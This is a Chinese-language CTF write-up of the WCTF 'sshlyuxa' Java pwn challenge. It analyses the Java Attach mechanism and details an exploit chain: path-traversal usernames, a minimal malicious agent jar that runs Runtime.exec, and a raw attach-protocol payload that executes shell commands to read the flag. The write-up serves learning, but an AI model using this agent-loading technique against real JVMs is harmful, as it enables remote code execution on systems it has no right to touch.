在WCTF中,sshlyuxa被评为了best challenge,这是一道很有的Java Pwn题,利用Java Attach进行RCE。

题目描述

这道题目给出了源码及docker环境。题目通过ssh的方式登录,然后可以选择创建/销毁一个App,创建完App后,在这个App中可做如下三个操作。

  • Register <username></username>。应用程序请求输入public key并将其存储在当前的keys目录中,存储文件名为username.pub。
  • Auth <username></username>。应用程序会产生一个随机值并要求用户用key加密以验证其身份,验证成功会创建一个socket文件,监听消息,socket文件存储在当前的socket目录中,文件名为username。
  • msgto <username></username>。应用程序会显示接收方(<username>)的public key内容,接收加密的message并发送至相应的socket。</username>

漏洞点分析

通过分析源码可以得知,无论是在生成public key或socket文件时,以及读取显示public key时都存在很明显的目录遍历漏洞。



综上,可以做的操作有:

  1. 读取任意的.pub文件
  2. 写入任意的.pub文件(限制为512字节)
  3. 写入任意的socket文件

以上就是这道题目用到的所有的漏洞点,非常地显而易见。最关键的是将其和Java Attach机制联想起来,利用Java Attach动态加载Agent的特性,来实现RCE。

Java Attach机制分析

这道题的关键在于Java Attach机制。Java Attach机制通过启动目标JVM的Attach Listener线程,然后Attach Listener线程监听命令来实现的。
Attach Listener线程的启动方式有2种,一是目标JVM启动时通过jvm参数指定,二是依靠Signal Dispatcher线程启动。这道题只能通过第二种方式,正常情况下是通过外部程序调用VirtualMachine.attach(pid)来实现attach上目标JVM。在无法调用attach()方法的情况下,分析attach()方法的源码,查看在整个attach过程中,到底做了哪些操作。

定位到attach()方法中的LinuxVirtualMachine构造函数。

LinuxVirtualMachine(AttachProvider provider, String vmid)
        throws AttachNotSupportedException, IOException
    {
        ...

        path = findSocketFile(pid);
        if (path == null) {
            File f = createAttachFile(pid);
            try {

                if (isLinuxThreads) {
                    int mpid;
                    try {
                        mpid = getLinuxThreadsManager(pid);
                    } catch (IOException x) {
                        throw new AttachNotSupportedException(x.getMessage());
                    }
                    assert(mpid >= 1);
                    sendQuitToChildrenOf(mpid);
                } else {
                    sendQuitTo(pid);
                }

                ...

                do {
                    ...
                    path = findSocketFile(pid);
                    i++;
                } while (i <= retries && path == null);
                ...
            } finally {
                f.delete();
            }
        }

        int s = socket();
        try {
            connect(s, path);
        } finally {
            close(s);
        }
    }

可以看到它会先判断对应目录下是否存在socket文件,若无socket文件,则在当前工作目录创建.attach_pid${pid}文件,然后向目标JVM发送SIGQUIT信号。之后就等待socket文件被创建,成功创建后,即可连接发送命令。

当目标JVM的Signal Dispatcher线程接收到SIGQUIT信号后,就会启动Attach Listener线程,当该线程启动以后,目标JVM会创建一个监听socket,即/tmp/.java_pid${pid},这也是上面一直在等待的socket文件。这个文件的成功创建,标志着已经attach上目标JVM了。Attach Listener接下来的任务就是监听socket文件,接收解析执行命令。

题目复现

整个题目的思路很清晰了,分为以下两步。

  • attach上目标JVM
  • 动态加载agent

attach目标JVM

根据上面对于Java Attach机制的分析,我们首先需要获得目标JVM的pid,然后启动目标JVM的Attach Listener线程。

目标JVM的pid可通过main线程的nid进行预测。通过向目标JVM发送SIGQUIT信号,即可打印出这些信息。

在ubuntu20.04下pid为nid-1的十进制,这里为46439。
获取到目标JVM的pid后,就可以创建.attach_pid46439文件,利用前面的目标遍历漏洞,在register并auth后,可以创建任意位置的.attach_pid46439文件。此时执行的命令为

register ../.attach_pid46439
auth ../.attach_pid46439


这样,就成功创建了.attach_pid46439文件,然后再次发送SIGQUIT信号。此时可以发现/tmp/.java_pid46439成功创建,说明已经成功attach上目标JVM。

动态加载agent

agent的内容是攻击者上传的一个恶意Jar包。由于任意写入到.pub文件限制了512字节的大小,因此需要整个Jar包的内容非常简洁。自然地,一个精简的内容如下:

//A.java
import java.lang.instrument.Instrumentation;
import java.lang.Runtime;

public class A{
    public static void agentmain(String string, Instrumentation instrumentation) throws Exception{
        java.lang.Runtime.getRuntime().exec(string);
    }
}

//META-INF/MANIFEST.MF
Agent-Class: A

采用Jar命令压缩时仍然超出了512字节的大小,由于Jar也是标准的zip压缩格式,可以采用具有更高压缩比的7z压缩方式,压缩命令为

7z a -tzip -mx=9 agent.jar META-INF/MANIFEST.MF A.class

压缩完,确实比之前减少了很所,但仍然超过了512字节,查看A.class,java自动地加上了默认构造函数。

可利用处理器编写Processor来移除它。执行的命令为

javac -g:none -processor MyProcessor A.java

即便这样之后,还未达到512字节,使用字节码编辑器去掉异常相关代码,并移除pop操作,这样最终准备好了512字节的Jar包。将其写入到/tmp/pld.pub文件中,执行注册命令,然后输入十六进制编码的Jar包内容。

register ../../../../../tmp/pld
>>> 输入Jar包内容

然后向目标JVM发送动态加载Jar包的命令,由于向/tmp/.java_pid46439发送命令,需要使用msgto <username>。因此需要注册一个../../../../../tmp/.java_pid46439用户。
</username>

在注册完后,即可向其发送消息,消息内容为十六进制编码的命令。

1\x00load\x00instrument\x00false\x00/tmp/pld.pub=sh -c $@|sh . echo /readflag /FLAG>/tmp/flag.pub\x00


发送完之后,这条指令就会被执行,因此flag内容被存入了/tmp/flag.pub中,此时只需要向../../../../../tmp/flag发送消息,就会将/tmp/flag.pub内容十六进制编码后显示出来。最后获取到了flag。

小结

这道题目提供了一个利用Java Attach的攻击方式,是一个很好的思路,值得学习。在遇到Java的各种机制时,尤其涉及数据传输(反序列化)、执行Java代码等时,不妨详细了解整个机制的情况,思考恶意利用的条件和可能场景。

参考

https://github.com/paul-axe/ctf/tree/master/wctf2020/sshlyuxa

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖